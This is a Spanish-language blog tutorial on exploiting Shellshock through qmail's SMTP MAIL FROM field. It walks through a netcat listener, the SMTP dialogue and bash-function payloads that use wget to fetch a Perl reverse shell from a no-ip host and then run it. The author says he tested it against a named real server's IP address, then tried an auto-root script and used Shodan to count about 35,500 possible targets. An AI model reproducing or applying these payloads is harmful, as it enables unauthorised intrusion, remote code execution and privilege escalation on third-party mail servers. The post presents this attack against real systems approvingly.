by hdbreaker
Como he leido mucho de shellshock y nada sobre como explotarlo, les dejo un pequeño tutorial de como explotarlo un poco más allá que en los clasicos user-agent (que siendo realista muy pocos servidores utlizán cgi-scripts y menos hechos en bash)Lecturas recomendadas:
http://es.wikipedia.org/wiki/Shellshock_%28error_de_software%29
http://technet.microsoft.com/es-es/library/aa996114(v=exchg.65).aspx
Esto afecta a los servidores smtp de QMAIL por no validar correctamente el encabezado FROM MAIL:<> permitiendo ingresar como email cualquier string,
nosotros aprovecharemos esto para lograr ejecutar nuestro codigo arbitrario con la ayuda de shellshock
Las precondiciones para realizar este ataque son las siguientes:
1) Bash vulnerable a "Shellshock"
2) /bin/sh symlink apuntando a /bin/bash (esto es por que por defecto qmail es tratado por sh y no por bash)
Para el PoC use este servidor que encontre vulnerable: 200.80.35.42
Empezamos!
1) Dejamos a la escucha el puerto donde queremos recibir la conexión entrante:
nc -vv -l -p 9669
nc -vv 200.80.35.42 25
Entablamos toda la negociación necesaria con el servidor SMTP, esto consta de 4 pasos
.helo me (Le comunicamos al servidor que necesitamos usar su servicio) .mail from:<direccion@gmail.com> (establecemos la dirección de email remitente) ---> ACÁ INYECTAMOS NUESTRO CODIGO SHELLSHOCK .rcpt to: <> (direccion@dominio.com) (establecemos la direccion del receptor del mensaje) .data (Comenzamos a escribir el email) .Subject: Titulo. (Establecemos el titulo del mensaje y lo terminamos con un .) .Mensaje. (Escribimos el mensaje terminado con un .)FIN (Esperamos que se complete el proceso)
Bueno como mas arriba dije el error radica en que QMAIL no valida que lo ingresado en MAIL FROM sea un email por lo que podemos aprovechar este comando smtp para inyectar nuestro payload shellshock
Payload:
() { :;}; /usr/bin/wget xxx.no-ip.org:8080/rsh.perl
Al terminar el proceso de QMAIL debería ejecutar el codigo arbitrario inyectado en la variable y devolvernos una conexión entrante a nuestro puertoen escuchaBien, hemos logrado ejecutar código con exito en el servidor mediante un error de validación de SMTP, en este simple PoC realice una simple conexión telnet, pero podríamos jugar un poco con los comandos para subir un reverse shell y ganar acceso al sistema, veamos como!
Esta vez vamos a ejecutar código arbitrario para descargarnos de nuestro servidor web un reverse shell en perl
Payload:
() { :;}; /usr/bin/wget xxx.no-ip.org:8080/rsh.perl
() { :;}; /usr/bin/perl rsh.perl xxx.no-ip.org 9669 -l
y ahora tenemos acceso al sistema!
si indagamos un poco y largamos un whoami! vemos que es un kernel 2.6
Pasemos a ver si tenemos suerte! Ejecutamos los AutoRoot.pl y vemos que sucede (yo en mi caso moví ambos archivos a otra carpeta) perl AutoRoot.pl y esperamos...
En este caso no hemos tenido suerte, lo que no descarta que buscando un poco podamos hacer un rooteo manual del servidor pero eso quedara para otra entrada!
Lectura recomendada:
http://www.securitysignal.tk/2015/01/rooteando-sin-local-exploit.html
Luego de esto me pregunte, cuantos sitios vulnerables a shellshock QMAIL pueden existen, bueno yo me ayude un poco de mi amigo SHODAN
35500 posibles target vulnerables!!!
Happy Haking
